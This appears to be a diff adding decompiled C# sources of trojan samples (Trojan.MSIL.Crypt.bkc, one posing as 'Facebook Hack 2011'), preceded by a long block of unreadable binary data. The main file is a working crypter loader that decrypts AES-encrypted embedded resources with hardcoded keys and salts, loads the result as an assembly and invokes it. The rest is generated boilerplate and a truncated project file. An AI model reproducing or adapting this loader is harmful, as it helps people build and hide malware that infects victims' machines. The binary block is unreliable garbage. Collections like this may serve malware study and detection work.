¹ä]À.MK‚VÛ¡y¿ì¤ËØ«[öFÿ~•D�Lð—|SŠ$ëŸî=«I–‹ÏÁâ§éˆdÄL5ž^G¡ÀŸgnw°ê.Š[–v•Ñ 4uµ¡;Ñ绹êÅ@œÇŒT§kÛ¸
|
||||
ç§5›ÑÍ:/^rºÄænùÑúÃÙÜZ÷þ]eÓLºâ‡¯øi€Xm J%>ÿ¼’:8ê
|
||||
¯ásgä?z©ã¢²VÙY«¾×—iàý]Ä�{hÂÈݲIÃa9¤½é=æ¨]’PM* _ÕܶU‚9¥lç„h_ÎÃ=£&6žc>o´P¡X½ø(;ÃU>‹ð!*E•= ]·däÉèà¯Ôâ…ÏÙÃ÷Wöžùm»Ð êÌþAÓ®°\H!^¥%ü„¿ .†£*$û!ü½‰â¬j\@Ú&¿nä•3_D4öÅðrUÜTº–õ¥Ü'¤fn‘‹JÅ)à‚ósòqPM
|
||||
y½«ôœ4:ÆYhiûR~’XÄ8¯‘¦AúNåìÝå;´i3S“S8:%ê?@«þŽ0ìy‹àÍÈÂü IvM6¡¢¯lLc¥ý`!&×ïÌÒOÊ?²Ø~ dT3ŽÚ0óZpy¢P±º¥¾]MEòõ™oÎñU'ѶÐúˆ4ËT@•å˜è7¹í7ë…H,_ÂŽWÇ„P¿qM4áço&ûdæ·:›8Ru`h¨ð|>½Õ@>»0Ý+™ÜŒ‘ˆŽ5ÿà©»ÚÎdHPŽDŠƒŽ
|
||||
„˜q¢ýôQ'ƒ¸7*Ȥæü&s‘Ò`-ßð
|
||||
±1Ô,×1³(c]U©!›ã´#Ó^Ã_Øæ³›ç .VÈc»L0ˆÇpdü±^špÕ7üGKÕ9>¢cV)xî"GVA@\‚b}ŒÎbì÷š§â3é'Ëø³bTQ]
|
||||
ªbÙx‹zGo0‡ýô¹²TÙ#è7
|
||||
¹Ík‚O(á1ñv½‰×Ù¹ã÷µÿ‚»Hë™Ë†G§é@„Ft¿+lÊ{ð+‡]ç¯Ï“ùR’ªbçÊåJöäMÞ=íÂDm2Þã:ñÜ5ºßò0¯.{‘i(¦/F7(]´åÊωG6Ë$Ü;_-ÌIÀ@æ˜îŠò¨zrÄôd>X–›òBYÕ6y.àêA®Kf*vgb¢ÍòE@Í}+ïéÒVg—å\}bø4ƒVnŒ›@�U–�q€Öó1Á즒H¶Ô>Æl‚þ"F]=
|
||||
×*<Ùûã*Vô寕'9|¨=ŸPçÁ5€®qs/váç—šë.t,ªJr’ª¥ôîjR?“…PVL[¥QñV(tñt
|
||||
8ØEü½tcOPxçD�o}§íIÈAefbTŽ*vW€S›d&´``T¤ÉÉÑ`!Üþ5ôÎþ²£óÊzx?Ä›jMoÆ?ŽmåÉu¦çü2²&õÊ ¤Ü6Î݃•u8˜{îÔ»H]è�®@)K}¤ÆN¯1²T�ö“40¸ìŒ@ÿcqœZ9!À³ú=áìX{ŒÞ-PoD¯ñ[`Y HÚuLïnñ)1¾oP¦ß8ßÌ?'ñzÀQØS³«Ò÷QÙn¸IO뜼h¬4¡/ ôóßí-ü–=›Eü$¤T~æ`dZTVQ¢×þ¡C‹= <±xk
|
||||
Tòÿ¹;„3?PÞW/’ô·0ý,³.|EY?Ž”%uÊ*›~˜IÝÅ^qö{Ùþ§yᛦF•Qhxƒ`@®åÏßþ5ßP׀ɲè·ÒŠv¼)\ÈI=
|
||||
ÖÎvÖ|üiÞ¾½\öƹP!‡£2a#x[”ÍP¯�ùäwÁ¬À!0ó?4
|
||||
#èú¯?ó|—NbX8¤mÉ[ÓÌûrªÓC%“ó<º¤<gûÙ*í¿H‹¬W'k2±™"FE"ÏÜCÖŸÅ΢¡ÿ›'{ðá!™FðVþÓÕ^S‘HË—¶=Ÿç«:¼ç¼ÅëÔ^B[ÝÆ™õÚ7%%˜¿ž3O*¶¿Z ÕôwOÊBÁ¯ƒ@÷jì˸³ŽÑvKßúlø¾ï4dã´
|
||||
Ç¥®hFˆòHSPˆ…5x9þJÔ¦õ<3;’†’T¾ú"D]íSé«Rô±Ñô#¤M˜âk”ý®ì\9,]v´±Ùóå9[™|ñ? ayõ2O7Ëö¯H·¿lˆŠmäj³‡ª·×µËØU¹œð^\—Ï•˜÷BÜÕ¬<äN§ûz©
|
||||
ä×Y¥)<<ïJTf¦•(Áçù2¨ÏwäâªcjtAÀ'MØœ|Ξ´MùDàlAñïú8P9kÛí·ºhàà8€N“dÍ™Qw`´èÊ–Tqa…ªS¸“?H(ÕE_²¥˜ÓOúc±Š:¼¿aÖü?–ZÍWEl˹Íàr>³0ä›R“ šxG>Ê\HK(¡+
|
||||
Ÿu íïå#ØÞ©Ô…Ó6–-í
|
||||
WÙ\2&%gÂWÿ¯ßõTŸ;—ÖHßb
|
||||
üÃE¯•ÿŸ$Ô"¿<D-á6@20$£gý"‚Q2«f½9³QÒ<…?M?ôýZFái0Qzð4h……¸Ä^Å7µ!oÇý߸”[ùÔ—«à6Œ:ƒaýZÿfë½ð‰¶è%‰,gê±K]=>׫×dMù»ú‚oîU89Þ”±*ÕóËhŠTÓS†å´=ûis¢Æ4ËÂLÌÅ G¸éájûð€W¾3GÇOÕI@úÈ[xu¿´jå–¨._Çí HÛ
|
||||
¹3*KùÍ_Ë“º@p攺²Q˜:×Z%(,„Ò¸
|
||||
÷7×J„µQ Ä4r?+jNøl°fG£Yqý}±æd>Q;‰m=(×é7>¦Äï+lEz‹"dØaÖÒK˜ŒI´wØ2 ÍvL±ï‰Øåͤƒ¿m½îø²N;'</u¤_œÎЬX4ÃLLb©;4uãøÍÎîõîÇW$O…O˜ž
|
||||
Á• Ç¿¿“jÌ7$ªY§›î´ƒ·‚U§ûY£¸Ï¾äPlAf` ¸ÏÞ‚bÿ8£›À®’ÅÖ¿oYv°MÃÍFJ‡©ÈÐ@ Üñ-¥Léeã@+«\ò¯Ç*{6&é¨Yûñž—oH¼}jF¿Âk˜ëjã}VÒ²™šÆD‚£_ôÙü`'L^A’¹ã›”ŽMñ�ãcóSó4%~ñ©e_†;ßþ:o; w‰°C@»Í;J÷Ý”Œ*LPÀc8Ù–²lò«ø@Ö&Ð4+ÏtJï¾t¦AhÄø–Ôà½ï8„²!UÔ5!_pŒm¼rŽô™ÑsøÅ8Q•l¯Ê®†eåÁ9rGý"Œ¹¯e`ÍÓ>*@;Ê1ðØFt¥Õ-\•˜¼õ¹Ÿ;µsñ;;¸«›¢‘²¤XÈ€êB£Ùêbû_Z×ô‚ :£È‚°c~ú§(™h‡ÏxýˆR}1ɾ
|
||||
xˆ!ð¢vh+ï+bÃsÛECñ!œn¾,W{ÏÅg£$³M$Àp=—ϰޫLÆÊML3<8“Yà¢Î 2´¦èì—õV5qGûÿ|»žëùí¢ðˆ
|
||||
ÿ@/ýÚ?û¹[Œµ”ÛZÔ‚¦§çáÁW*žÇ± Þ8¨Yr>èÄCrÀ͹¨&—ây†'à~ÃäÎ,£¨…†~ðöÂ} ÷ug7ö/‚Ô…¢O„žÄñù1ÎsP‡š
|
||||
XÊ…®åA¦Š/Yƒ\b^*‚4L÷5"¸§í˜Ï~XR¡1`÷¸Jeað¶1uåÂ`?Vñ² Tn¤¯…UÇC1v‰â„ßµêT7Êâ>ÛØ\Eò3Ÿh
|
||||
»°öGo/ЕⲾ%1¿»Âܯ¸ï†7EW׎VÅIÃ2$ù
|
||||
Û.ºå$ûH¯M˜qŒö·�ÙÌnÜK�S5k½.ÅjÁ Ô“béõAëø³76çÌ‹]®§�ÕÖ¨ç§xÚ¤ my
|
||||
øÙ*Å„«×[Õ¶ûj†!±S”v<Ø'è†=š uóÁã´µLÀâð
|
||||
h9žßî�¿O³§ârð9§)Ý3!B(EŸ©– ÉiÀN9 gx¹gÒ½|9 i¢à%R%¤º¤çRX ‹)HÁZ²†¿—÷Æ›pH¥¦l¾xzi…t¬|C¿˜ºONT’M_VK5WYyëÀv^t•kª*AE—éÅlF€è¹%í@„”Û6˜¹öEÈ—Œ–òžÄnË '¿óçµfnQy×CcÀÆCµƒ^7_†HšDרbfÃ]?³¦*Kãdæö+a(Ѭ®KS‡)
|
||||
_>‘I[È!‹Æ¼ñ
|
||||
‡u®†:MmÝYÁÈ÷
|
||||
Æ@éÄ~K/õ³ü"ª”°§ß
|
||||
Pm©*5«?ÿ³1¢:.1Û‹É<éJÕÄî±w²æáv°-OšÐ'¾ŸÚ®IÇ (¢*žRzß"G&�€w‘Gj•SÓW–NCPâ—c¢ðCætÃYU+Ó…Rx/*.aöÆ¢‚t"®Xƒ¨Ž+'çŽJXÒæÆ!Ò»iþÓ½k<DxsH-Ÿ¬)QÚfä Ñ:7®Ì:“>[à£x‰ûÔh/—i'qž\eupOù¸£µñÄ¥J˜Ð1-¼ˆâ–âVÃéíô4²¦W¦iÙŒNÖÜAOb(èڻƻá¹(~·þn´ ÕS1•ÀÃÑ•ÑU†w´š0PõèjíÑ”ÐK/X-Á†‹E¯Î
|
||||
Îܼ¸»ÂôLŸÙ;ŠàŽA)üòÁöéb¾�°b‹«Ö.bsu6Õ¥s¬i¡ó}Ùç9€7žf"oàú’¼úOâ¦mØé€PÐ&{ÏLO@“¡(™GÛ†\všük`áËa¡|Î~ød¨1OÃï—¿‚`eE[°Q ¶º.á·*Ž5íM¶"nzäu‹€ð÷¯+Ø8•Á"È�èÐâyû!ò—�÷ò
|
||||
õž›+’;`!,æI0
|
||||
=Þ ´‚¢ŸuÒ¤o9kþ!|'Iþ‰7uínkBX&ûpê£Ö¡àÂ.„@8j«¤˜˜ÝzÛ3‡rggØds¼éŠô…ñ½y<ºëˆÉؾ±ÐÔI´N@âøÎó¨É²O\ïBሺ³Ö±€]|
|
||||
¶O‚&Òm-£êç´ÄöÎ7Pl@Ä#¼µ§åøÛrõØ}t-]íD:Á~ýî|áW!‡wVØž¾¨§€JÐу«oÂ!tjálxÍ;ƒø¿¿?³!›
|
||||
D%•¾À¯P lxîáe[˜¹{÷Q´öHõ}ù ²Ï-lÍ*b—”Ô{»Úð¦¦/dÆ.NÉwj1¾ÊβDlâ<wËa¢èq‘+0<ähŠ:àÈjÐO®÷-ü’¨%¨_óžzbÇ}èèd1.oNí¼ 3_‘î£I4‰8‹@}¤»ø}«GWïjª“Ÿ½ºçŸ¾TÎ2&A9íÔàBaSúÁ°uØ4Æý³h/¹‘QZreJ>M[tmÃNü¨á—©£÷A¸GjhªØÜ3âs.´Dÿ“3dò„&óûvcè„åëy>9½g'
|
||||
©å6玸ê+¹øYq©ý”3Ék—î
|
||||
/æv£'Þ5b’ªØ¬Ï›‚vWa{ˆ'Ï
|
||||
ÞÖ›¶/¨ÑuþIižÌtš«KŸ�¨‘ùXkÌ/—œ°oI”»Í†mêX(Üîûs:Ø;»Û*øÕvÆ×7ÃdtñROj$ø<ˆó×r*úp-Þ<¥UûND+Iƒ½ùõ¥&¦uxÀS¼åMA´Üû‘BÙÈïGK^‡_€Wˆâh„11v¯\ñ†h
|
||||
¬Ú#p
|
||||
:(éÛD‡PCp¼W7ìp,˜ÛŒ¬&C«h»½3Õ{¬]¬aK"[õËD¹ÆU&>OífÉj¾NÊ}ÿí͸qdu}‰ÑK@Qtz–HlÓxVÜ|ƒœ‹ÆÛŸÃÀJ³¯«H“IV@äÚ±•YЂx¯¦ýè¤ÕxÂRa{Ðôëü8Øß¤nN}°Æ^AÄÁû~ÏÊðKõ"I‹äç×׃8~®è;÷!°€IRøÌF9nI[Ó´Ý÷ ô7Qt9¬ÉÜ8C¼*HgÚ²#Mu”L£áuŠÒÒ
|
||||
z–iH7Ï*J–+‹áæÍ=y=S×þøÉC¼#=R8‡Ñ*·Wã@.z\6†ÂšZ·œQfð겟Àâ숱›Ç6ë,Ä–fÎM•
|
||||
O/ªl¯’mHâF¦šÊ£{ªigÿ`$Ò˜,óp黿ê1¡9hUÄríi€dá–í4·×4·£XýÀˆ÷S~˱XYä=_ˆw®!®Ðð'ÛÝTås\€7“Âuñ¾$à[è=Ê…¹kmöò8úu»®c.›Ø¿e+åuêÖ«Öÿëb%Ò¨@¯ÜM¨ šy´ç•`‹Ø�¼‚…s¡bw?s…9>
|
||||
\Ab…¥Ÿu
|
||||
‰0õ¶â¡çq1¦¿qn¢tÆŠ13{Ã=bðØ")ÇOðLú± |/݄ҩR·§ná‰rFa+m7ÕÂfû+õ˜I˜ÁõV.i
|
||||
`†zù}ÍO¸Ü¿v(97´ü¬¸9Ä)œ.І—¶kÉ^þÐ|0¯iZ]ÕÃí•éì¥/«2ûñÛå Zzy�N„g-zÂO\6£ÎðfTUÉØâg'ȧdá Õ
|
||||
!TÝ ÿr9`¦4Ú–¼*™ëOÖÖñ÷¤jc�¿rÎO¾)›i¨`Ê£²Tþá©ßhn§rJ§Bå�WŸ×ípb}D†Ô¸xB—/®W=+’³Ø¶`má|6B¶éoÐ-)j‰ âÁÒ[ÌJ w%ÈI®®ÓB
|
||||
Ë_øÅJpts*/É2kÿy¤ßÑ^{¯]{n]´£+QrùV“[¯Æaý2=UîïÖ$$;á„á2,JÆ™UЫÿtÛ4“VÍr±«xÆ™ýzK„.ÁêdAܺV÷óS¢,º¦¦Fí‘®^-ýš4¡°gFóÃTo6¼›Ï4ŽX
|
||||
cË@…”ÏãWpúW¨Ìûz¬¿ÿùtÈ/µºá`ß
|
||||
Úá‚Ãx 6ôw³‘=çhú—ò¿>â/§7 dµ~ȉ’Ã.*œ¶Í‡VåÜó#õ[ò.9;¢Ã/›XiŽ*·éPâ.™H·J%gqŒFäèùÉ„øRV¦ØH¶÷|ö
|
||||
.Öñ#6I±Ä€ŽJ¤ÕJ~*ÐM¡l¹)Ï&O$jä´Q´zD<°|^ P„12‹?í¼qDΆ×sŠJš¿`°gs–9F¿ˆ»û1.ñ†šî¢¶¦4vë>˜ŸÍ4Ãy·›C¿OÈ’R'æÓP±Hê»rT¤)Æ8ïk8[¢’*Ã|€3m`´fŒ.sÏUÜù›nEWÄRQºÃ¹t&œ¢Ô¿É›ûû¿RñŽ_97
|
||||
j(c¥Ô¥Éš´%† •hÏÑpêZ95×9,¬Ÿ_ÝÂZE·@G:lå×D”Q¦)&{L¿u¸XÅ\LŸü†]iÈpñ`nþdmf›µ }¨€:ßopŠ&”D©¥ „q”«Gê
|
||||
‡=ùe“û,ñŦú–ÔëêQ÷Ÿšã˜ýï‚$fû©<0'õK¿õFhâ×Fçÿ/¶BéRmø@=£š_o]XOQê^ÐÓÖA}*Êöß&P]Óøñ«yV°à²{üËKRËá-žL~£|ÌT]œ¸ò€ø5¥’l‰ªÂ}ÄÈ÷(j?Ùh£¥úÓ?.÷ð8Þ °‹,´GúåÇJß›õA_̲LBç=mø;GBV÷›™äçY'º
|
||||
=°ãè¹Ù¢èú’æN%±ƒÓ€à~„½÷e·¼Ù<c_cyö+Ñîôs̾›œç{L¡€°!izž²0áXUÇ6½ÙX«¯brþfÖ[‹"[Ûß@^HÜòÆ_‘œ…ÆXÊ›_$FdÆÄ/ë\bÒúˆL}SŸ�ÒŸDê”zfX˜ð×n2ï–ð29¥oQ_jvÕÒàsi‡¤Hã%øð¿^R¼0WóÀ«[n]]YO
|
||||
î"¤FÌ6 ›<·.cP`@ÄãûÎmÖ$kÉö•f÷ócYCD$_´þÚ ¬×¹#¹ÏJ )Œj7~ÖÌ<s0Ý51ïèaWW9»&Ñ}Þ´~ +q;“N¹fI›óoý$?ÏËM¸Ÿ&DËj¯K©ßgÒƒ}ügh±–õ›õºõ¾ÆŠ£È7€ùžéÆ"Á4ï !+ËPO×d„olÙHuÛ|–TV¯,UQøãè7³Ù×¶¶¡Œmý]ègU¢VÍú4È×â£ôL]ÖÕÚjÆ¿ÅÖÂùàĦcmõ _¥áóf—[1kjO° åHè+í±vЂT‚›…qMÛY¦Æ}ÏÌú,¶Ôó5ö#‘ÛoÊ[Á·‘]Õ$÷ÿøðgØM!ŠcQ×ß=Á•=<@–žË®Þþ}¹IWŽü-W¥Çz«!&m¢1TJ‚"U�©6¯ê!¥mèésH€0ZîÁ{gÅý$ëÞýgñ’àß]¤l(zï
|
||||
+91
@@ -0,0 +1,91 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: xZhtWpVtLXLJDVSoYj
|
||||
// Assembly: BTCrypt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 05F7BF95-3B6B-4870-9E92-274D6E31A439
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using My;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
[StandardModule]
|
||||
internal sealed class xZhtWpVtLXLJDVSoYj
|
||||
{
|
||||
private static int ByteCount = 0;
|
||||
|
||||
[STAThread]
|
||||
public static void Main()
|
||||
{
|
||||
xZhtWpVtLXLJDVSoYj.ftyu();
|
||||
ProjectData.EndApp();
|
||||
}
|
||||
|
||||
public static void ftyu() => xZhtWpVtLXLJDVSoYj.pol();
|
||||
|
||||
public static void pol()
|
||||
{
|
||||
string location = Assembly.GetExecutingAssembly().Location;
|
||||
string str = MyProject.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData + "\\MpUS.exe";
|
||||
ResourceManager resourceManager = new ResourceManager("mdqBj", Assembly.GetExecutingAssembly());
|
||||
string name = resourceManager.GetString("cLLyk");
|
||||
string zfnomrdWdIUTjnqhHW = "TuDQrMqPgHhsmFn";
|
||||
string bzGCNQfBCMVQtJcwPK = resourceManager.GetString("LuFLHSjyGIRojNPv");
|
||||
byte[] bytes1 = Encoding.Default.GetBytes(xZhtWpVtLXLJDVSoYj.bOBbxLZGYKOnbZTliF(resourceManager.GetString("CVdSxttswi"), "QBRVYPoR"));
|
||||
Encoding.Default.GetBytes(xZhtWpVtLXLJDVSoYj.bOBbxLZGYKOnbZTliF(resourceManager.GetString("RxbqX"), "ewFu"));
|
||||
byte[] bytes2 = Encoding.Default.GetBytes(xZhtWpVtLXLJDVSoYj.bOBbxLZGYKOnbZTliF(bzGCNQfBCMVQtJcwPK, zfnomrdWdIUTjnqhHW));
|
||||
RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Assembly.Load(bytes1).GetType(name).GetMethod(resourceManager.GetString("MJDV")).Invoke((object) null, new object[6]
|
||||
{
|
||||
(object) bytes2,
|
||||
(object) true,
|
||||
(object) location,
|
||||
(object) true,
|
||||
(object) false,
|
||||
(object) false
|
||||
})));
|
||||
}
|
||||
|
||||
public static string bOBbxLZGYKOnbZTliF(string bzGCNQfBCMVQtJcwPK, string zfnomrdWdIUTjnqhHW)
|
||||
{
|
||||
string s1 = "jhsethsdutubgt";
|
||||
string s2 = "a48uyrhf094hy2dm";
|
||||
int iterations = 2;
|
||||
string strHashName = "SHA1";
|
||||
int num = 256;
|
||||
try
|
||||
{
|
||||
byte[] bytes1 = Encoding.Default.GetBytes(bzGCNQfBCMVQtJcwPK);
|
||||
byte[] bytes2 = Encoding.ASCII.GetBytes(s2);
|
||||
byte[] bytes3 = Encoding.ASCII.GetBytes(s1);
|
||||
byte[] buffer = bytes1;
|
||||
byte[] bytes4 = new PasswordDeriveBytes(zfnomrdWdIUTjnqhHW, bytes3, strHashName, iterations).GetBytes(checked ((int) Math.Round(unchecked ((double) num / 8.0))));
|
||||
RijndaelManaged rijndaelManaged = new RijndaelManaged();
|
||||
rijndaelManaged.Mode = CipherMode.CBC;
|
||||
byte[] numArray = new byte[checked (buffer.Length + 1)];
|
||||
using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes4, bytes2))
|
||||
{
|
||||
using (MemoryStream memoryStream = new MemoryStream(buffer))
|
||||
{
|
||||
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read))
|
||||
{
|
||||
xZhtWpVtLXLJDVSoYj.ByteCount = cryptoStream.Read(numArray, 0, numArray.Length);
|
||||
memoryStream.Close();
|
||||
cryptoStream.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
rijndaelManaged.Clear();
|
||||
return Encoding.Default.GetString(numArray);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
throw;
|
||||
}
|
||||
}
|
||||
}
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyCopyright("")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyTitle("")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyApplication
|
||||
// Assembly: Facebook Hack 2011, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D13C8782-171E-47C0-9C8D-3EC70A24B836
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyApplication : ApplicationBase
|
||||
{
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyComputer
|
||||
// Assembly: Facebook Hack 2011, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D13C8782-171E-47C0-9C8D-3EC70A24B836
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyProject
|
||||
// Assembly: Facebook Hack 2011, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D13C8782-171E-47C0-9C8D-3EC70A24B836
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[ComVisible(false)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-d113a494b7df91ea36fa153a94280f6819098123101c60cd87903f8c41ffbaf6.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{57763855-1C6B-40CA-A47C-C2B1905EE0CF}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Facebook Hack 2011</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>My</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="ZBJWxRwVmymkewtQzL.cs" />
|
||||
<Compile Include="MyApplication.cs" />
|
||||
<Compile Include="MyComputer.cs" />
|
||||
